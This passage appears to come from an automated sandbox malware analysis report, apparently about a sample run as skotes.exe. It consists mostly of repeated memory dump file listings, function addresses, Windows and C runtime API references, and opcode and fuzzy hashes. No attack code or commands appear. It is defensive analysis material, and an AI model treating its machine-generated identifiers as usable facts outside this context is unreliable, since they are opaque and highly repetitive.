Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809100599.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809180000.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809205324.0000000000625000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809255233.000000000062B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809281642.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809308716.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809327495.0000000000634000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809356057.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809411373.0000000000645000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809449161.000000000064C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809496222.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809520177.0000000000655000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809546465.000000000065D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809590670.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809641443.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809670546.0000000000670000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809722543.0000000000679000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809854976.00000000006C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809877324.00000000006C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809930471.00000000006C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809957565.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809980244.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810045560.00000000006DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810066277.00000000006E0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 6163d201ed0f810be777b27cbf609eb62e664724070cbf55dbb469e9189867fc
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: FFE08CB292162CEBCB16DB98C9049AAF3ECEB49B10B65049AF605D3150C270DE00C7D1

Function 003C2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 003C2F5F
GetCurrentThreadId.KERNEL32 ref: 003C2F7E
__Mtx_unlock.LIBCPMT ref: 003C2FCC
__Cnd_broadcast.LIBCPMT ref: 003C2FE3
__Mtx_unlock.LIBCPMT ref: 003C30F5
GetCurrentThreadId.KERNEL32 ref: 003C3132
__Mtx_unlock.LIBCPMT ref: 003C319B

Memory Dump Source

Source File: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.1808102383.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808165933.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808400812.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808424639.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808452932.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808599215.0000000000599000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808623845.000000000059B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808647706.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809100599.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809180000.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809205324.0000000000625000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809255233.000000000062B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809281642.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809308716.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809327495.0000000000634000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809356057.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809411373.0000000000645000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809449161.000000000064C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809496222.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809520177.0000000000655000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809546465.000000000065D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809590670.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809641443.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809670546.0000000000670000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809722543.0000000000679000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809854976.00000000006C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809877324.00000000006C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809930471.00000000006C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809957565.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809980244.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810045560.00000000006DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810066277.00000000006E0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 6a919bd5d9850b5bae0bd2a80c0fcd7897ae24d39e2f769836e7c275a366d01c
Instruction ID: 7972a5cb893b33fdcae832bac72ebb20e8a8ad8dccfd88f7b81a353250554dcc
Opcode Fuzzy Hash: 6a919bd5d9850b5bae0bd2a80c0fcd7897ae24d39e2f769836e7c275a366d01c
Instruction Fuzzy Hash: 09A10272A112169FDB12DF64D844B9AB7A8FF14310F15812EE806DB341EB31EE04CBD1

Function 003FCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 003FCC66

Strings

v?, xrefs: 003FCBE1

Memory Dump Source

Source File: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.1808102383.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808165933.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808400812.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808424639.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808452932.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808599215.0000000000599000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808623845.000000000059B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808647706.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809100599.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809180000.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809205324.0000000000625000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809255233.000000000062B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809281642.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809308716.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809327495.0000000000634000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809356057.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809411373.0000000000645000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809449161.000000000064C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809496222.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809520177.0000000000655000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809546465.000000000065D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809590670.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809641443.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809670546.0000000000670000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809722543.0000000000679000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809854976.00000000006C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809877324.00000000006C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809930471.00000000006C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809957565.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809980244.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810045560.00000000006DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810066277.00000000006E0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v?
API String ID: 3213747228-724723665
Opcode ID: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction ID: e99dcde794f46df5aa9774044aa3e359a7d50eae5cf93053a3c983db8381f768
Opcode Fuzzy Hash: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction Fuzzy Hash: A7B16732D6064D9FDB12CF28CA81BFEBBE5EF55340F15506AEA44EB241D6388D02CB60

Function 003DBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 003DBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 003DBBE4
_xtime_get.LIBCPMT ref: 003DBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 003DBC13

Memory Dump Source

Source File: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.1808102383.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808165933.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808400812.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808424639.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808452932.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808599215.0000000000599000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808623845.000000000059B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808647706.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809100599.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809180000.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809205324.0000000000625000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809255233.000000000062B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809281642.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809308716.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809327495.0000000000634000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809356057.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809411373.0000000000645000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809449161.000000000064C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809496222.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809520177.0000000000655000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809546465.000000000065D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809590670.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809641443.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809670546.0000000000670000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809722543.0000000000679000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809854976.00000000006C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809877324.00000000006C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809930471.00000000006C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809957565.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809980244.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810045560.00000000006DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810066277.00000000006E0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: c107dd5285f285480d2b641644a6771de46c054fbbbfeebae6fa15b010d579b0
Instruction ID: 6fbd801c4e2e7f1f505279747df0f1bcdf151c5377282a55ba9ceca367bddbfd
Opcode Fuzzy Hash: c107dd5285f285480d2b641644a6771de46c054fbbbfeebae6fa15b010d579b0
Instruction Fuzzy Hash: 52213076A2010AAFDF02EFA4E8819FEB779EF08710F514066F501AB361DB709D01DB90

Function 003FF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 003FF3A3

Strings

8"B, xrefs: 003FF44B
`'B, xrefs: 003FF375

Memory Dump Source

Source File: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.1808102383.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808165933.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808400812.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808424639.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808452932.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808599215.0000000000599000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808623845.000000000059B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808647706.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809100599.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809180000.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809205324.0000000000625000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809255233.000000000062B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809281642.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809308716.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809327495.0000000000634000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809356057.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809411373.0000000000645000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809449161.000000000064C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809496222.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809520177.0000000000655000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809546465.000000000065D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809590670.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809641443.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809670546.0000000000670000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809722543.0000000000679000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809854976.00000000006C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809877324.00000000006C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809930471.00000000006C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809957565.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809980244.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810045560.00000000006DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810066277.00000000006E0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"B$`'B
API String ID: 3903695350-1260911311
Opcode ID: 10a8b3d399ee863c941ef006351622e35b6e1fba4859e4a19f6a70402c8ce44a
Instruction ID: e8537857e47370ecaabf99c752012535a3aa635c60bc6c6806725d9452548098
Opcode Fuzzy Hash: 10a8b3d399ee863c941ef006351622e35b6e1fba4859e4a19f6a70402c8ce44a
Instruction Fuzzy Hash: 93315C7160060DDFEB22AA39D855B7B73E8EF00355F11442AFA49DB595DF74AC80CB21

Analysis Process: skotes.exePID: 1260, Parent PID: 736COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	619
Total number of Limit Nodes:	4

Executed Functions

Function 00AD652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00AD652A,?,?,?,?,?,00AD7661), ref: 00AD6567

Memory Dump Source

Source File: 00000001.00000002.1836869033.0000000000AA1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1836845284.0000000000AA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836869033.0000000000B02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836946382.0000000000B09000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836966900.0000000000B0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836994151.0000000000B17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837105663.0000000000C79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837126713.0000000000C7B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837151789.0000000000C90000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837172213.0000000000C91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837237857.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837260663.0000000000CA5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837291414.0000000000CB8000.00000080.00000001.01000000.00000008.sdmpDownload File
